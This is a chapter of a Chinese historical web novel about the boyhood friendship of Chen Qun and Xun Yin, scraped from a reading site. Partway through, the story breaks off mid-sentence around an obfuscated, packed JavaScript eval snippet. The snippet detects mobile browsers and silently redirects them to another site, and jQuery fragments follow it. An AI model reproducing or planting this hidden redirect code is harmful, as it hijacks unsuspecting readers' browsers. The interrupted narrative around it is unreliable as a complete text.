默认冷灰
24号文字
方正启体

1. 友人陈群

作者:天水相鉴本书字数:K更新时间:
    熹平元年


    “咚——”


    “咚——”


    繁茂枝叶间,几枚黄澄澄的杏子自枝头掉落,被树下一唇红齿白的小少年用竹筐接住。


    他虽手脚利落地接住了每一枚杏子,面上却带着些焦急之色。


    “足够了,足够了,你快些下来!”


    男孩压低声音的呼唤声尚未落地,又有几枚杏子被人从枝头摇落,跌进竹筐。


    “阿昭!”


    小少年盯着树影下垂落的一片衣角,提心吊胆地左右看看,见无人来,提高了声音。


    “荀愔!”


    话音未落,树影之间探出一个身影,其人尚是总角之年,却生得风流俊秀,隐约可见几分如玉风姿,笑时一双桃花眼弯弯眯起,满带狡黠,不像是个士族郎君,倒有些像是山间跑出来偷摘果子的精怪。


    荀愔笑问:“君何急也?”


    树下叫做陈群的小郎君绷着脸道:“恐大人与敬慈公来此,君小命不保。”


    陈群所说的大人便是其父亲陈纪,而敬慈公正是荀愔之父,颍川荀氏八龙之一的荀肃。因陈氏与荀氏素有通家之好,荀肃与陈纪亦是友人,所以荀肃在一月前带着自己的独子荀愔登门拜访,在此小住。


    大人之间的友情为下一代的交往奠定了基础,荀愔便就这么与陈群结识,并很快把人家素来端庄自持的小郎君带歪,竟然忽悠得人来在他爬树时为他放风。


    荀愔本想把这郎君一并忽悠上树,但无奈这素有聪慧之名的陈小郎君于五经六艺上驾轻就熟,却怎么都学不会爬树,即便有他带着拖着,也只能抱着树干干瞪眼,便只好退而求其次,让他在树下接杏子。


    见那竹筐底部已经积了一层澄澄的圆果,陈群又一副生怕被长辈发现的样子,荀愔也不再挑战小伙伴的神经,依言下树,他只是一纵一蹬,陈群还来不及看清楚他的动作,人就已经站在了树下。除了衣角处绣线被树皮勾起,鬓发间有几片枯叶之外,竟全然看不出他上一秒还跟只猴子一样趴在树上。


    “你这到底是爬了多少次啊。”陈群嘟囔着,把竹筐交给荀愔,领他到井水旁边,取水来洗杏。


    陈家的杏树乃是太丘公年轻时所植,至今已有几十年树龄,所结出的杏子却依旧甘甜可口,常被陈家人分给左右邻居,有人登门时,也常拿来待客。


    陈氏虽是颍川名门,却一向清贫,连家中仆妇都少见,陈太丘出行之时,身边驾车侍奉的都是自己的儿子,年轻时拜访友人荀淑,因此得了个“真人东行”的美谈。


    如今陈太丘虽然去世,但其家中儿孙依旧秉持着简朴家风,陈群提桶打水时也是一副做惯了此类活计的样子,不过十一二岁,提起满满一大桶井水时下盘稳得出奇。


    洗过杏子,两人并没有立即分食,而是取来器具,将杏子盛放进去,捧着入内室请长辈先食。


    荀肃是个多了解幼子的人,眼睛一扫便发觉了儿子衣角处的毛躁,当即眉头一皱,故意问道。


    “这杏子是哪里来的?”


    荀愔眨眼:“杏树上来的。”


    荀肃有些好笑,却又必须撑着严肃的外表继续问。


    “我自然知道是杏树上来的,我是问你,是谁采的?”


    荀愔:“人手采的。”


    陈群别过脸,生怕自己一个不小心失礼笑出来。


    荀肃目露无奈,看他良久,虽不言语,但目光之中威慑满满,直看得荀愔低下头来。


    “好吧。”他小声道,“是我上树采的。”


    陈纪本含笑看着这对父子斗法,闻言看向陈群,见儿子一副默认的模样,神色一肃。


    “阿群,这便是你的待客之道吗?”


    陈群闻言立刻一拜,知道这事在父亲这儿不好过去,于是干脆认错:“儿知错。”


    荀愔见此,也立即拜伏在地。


    “元方公明鉴,此事是愔一人所为,兄长多次劝说,是愔不听,一意孤行,与兄长无干。”


    陈纪见此倒是缓和了神色,又见荀肃将装果子的陶盘往自己这处推了推,显而易见不打算追究,便挥了挥手,让两个孩子下去。


    这只是一件小事,陈群起身时却好像有几分不豫,荀愔敏锐地觉察了这一点,想了想,膝行到陈纪身前,弯起笑眸,道:“叔父待侄儿向来宽厚,今日愔虽行事不妥,可已知错,敢请叔父赐果,也好让侄儿尝一尝君家佳果之味?”


    总角少年继承了荀氏一贯的好颜色,与他舒朗潇肃,温文尔雅的父亲不同,荀愔生得眉眼昳丽,唇红齿白,笑时如桃花春水,让人很难不生出好感。


    荀肃见他如此,叹了一口气,简直不忍卒看。


    他有时真的不明白,为什么自己一个标准的体面士人,会有这么一个厚脸皮的滚刀肉儿子。


    陈纪却是笑了,伸手抚了抚荀愔的发髻,对荀肃道:“我家有佳果,君家有佳儿。”


    厚脸皮怎么了,关键是他这脸皮厚得合时宜,厚得讨喜,是瞧准了长辈们心慈,不会驳他的脸面,所以讨巧卖乖来了。


    陈纪大方地将一盘杏子都给了荀愔,但荀愔却不敢全收下,只取了三五枚,便行礼退下去追陈群去了。


    “阿兄,阿兄!”


    荀愔用干净的帕子兜着杏子跑到陈群身边,见他眉眼之间仍带着几分豫色,却不是针对他,而是有些自责的模样,于是把一枚杏子凑到陈群唇边,趁他不备,塞进他嘴里。


    “为什么不快嘛,刚才大人们又没真责怪阿兄。”


    陈群咬了一口,觉得很甜,便缓和了神色,片刻后对荀愔认真道:“是我不对,我该反省的。我比你年长,应当负起兄长的责任,而不是随你胡闹。”


    荀愔的笑有点僵,底气不足道:“怎么就是胡闹了,明明乡中少年孩童都会这个。况且此事是我缠着你做的,错在我一人,哪里能只因年龄之差而归罪兄长头上。”


    陈群却没被说服,仍旧认真检讨:“君子求诸己。我若连自持自省都做不到,如何能以士人之身与人交往。”


    荀愔吃了一口杏子:“‘躬自厚而薄责他人’,此圣人言,阿兄得之甚深。”


    被他这么夸,陈群有些好不意思地低下头,冷不防又被塞了一枚杏子,抬头去看,却见荀愔笑眯眯地看他,下一刻不知他哪里来的力气,竟然将他拉起飞奔向外,活泼肆意地宛如一匹脱缰小马。


    “过错难


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412172|200684||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    追,只能弥补一二。为了向叔父表示歉意,我们去钓鱼,去钓鱼!”


    荀肃的访友之行在最后一批杏子成熟之时结束,他半拖半拽着儿子登车,这孩子一副不舍好友的模样,扒着车门不肯入内,挥舞着巾帕对陈群呼喊。


    “阿群兄长不要忘记愔!”


    陈群又是不舍,又是羞恼,一时简直想找个地缝钻进去。


    为什么荀愔这家伙能表现得像是小媳妇离家一样啊,像是余生都不见面了似的。陈纪在后看得好笑,推推儿子,让他上前和荀愔说几句话。


    “去吧去吧,下次见面也许是明年了。”


    陈群难得违逆大人的话,别扭着不肯到车边,荀愔见此知道逗得过了,收起戏精本质,在车上对来送的陈家人揖了一礼,便钻回车里,驾车起行。


    车渐渐远了,陈群仿佛才从羞恼之中反应过来,有些茫然地往前追了几步,被陈纪拍了拍肩才恍然去看他。


    “大人,我是不是……”是不是不该那样冷淡?


    虽然同在颍川一郡,但陈氏在许县,荀氏在颍阴,其间确实有不短距离,见一面不容易的。


    陈纪笑了:“你们才多大,以后日子长着,哪怕这点分别。”


    陈氏父子在这边父慈子孝,一片和乐,荀肃的车上却是另一幅景象。


    “欺负你陈家阿兄算什么本事,怎么不见你去招惹族中的兄长们?”


    荀愔乖巧一笑,面上温良,说出的话也理直气壮:“那当然是因为欺负不了,还反会被欺负啊。”


    荀肃头疼,点了点他的眉心。


    “回去检查你的功课。”说罢又补充,“你去你仲豫大兄那里听《易》。”


    仲豫便是荀氏族中荀愔一辈的长兄荀悦,业已成婚生子,于经学之上颇有建树,对待底下的弟弟们的学业十分严格。荀愔对这个兄长一向敬重,不敢在他面前胡闹,闻言便有些郁闷,不愧是大人,最知道怎么拿捏他的软肋。


    车行进不快,此时正是夏季,沿途粟麦青青,偶有清风吹来,带着些泥土的气息,荀愔被吹得熏熏然,不多时竟然多了几分困意,眼睛也睁不开了。


    “大人。”他软软叫了一声,小猪一样拱进荀肃的怀里,他衣饰上的淡淡檀香扑鼻而来,带着安心的意味。


    “睡吧。”荀肃轻抚着孩子的背,神情柔和下来,“睡一觉,咱们就回家了。”


    荀愔这一觉睡得有些不安稳,睡梦之中似乎有什么东西沉沉地压下来,像绢布一样一层一层将他笼罩住,束缚住他的手脚,遮蔽住他的感官,让他在黑暗之中动弹不得。


    “哗啦——哗啦——”


    像是潮水声在慢慢临近,漫过了脚踝,胸腹,口鼻,将要没过头顶时,他突然听见有谁在絮语。


    “……主此盛德兮,牵于俗而芜秽。上无考此盛德兮,长离殃而愁苦。”


    “兵者,凶也……若有果报,施于我身……”


    “苍天已死,黄天当立!汉……已尽,时日曷丧,时日曷丧!“


    鼓鸣一样的心响仿佛近在耳边,有种神魂都要随着心脏跳出喉咙的感觉,荀愔能感到自己的太阳穴在一鼓一鼓地跳动,心律仿佛慢慢失衡。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)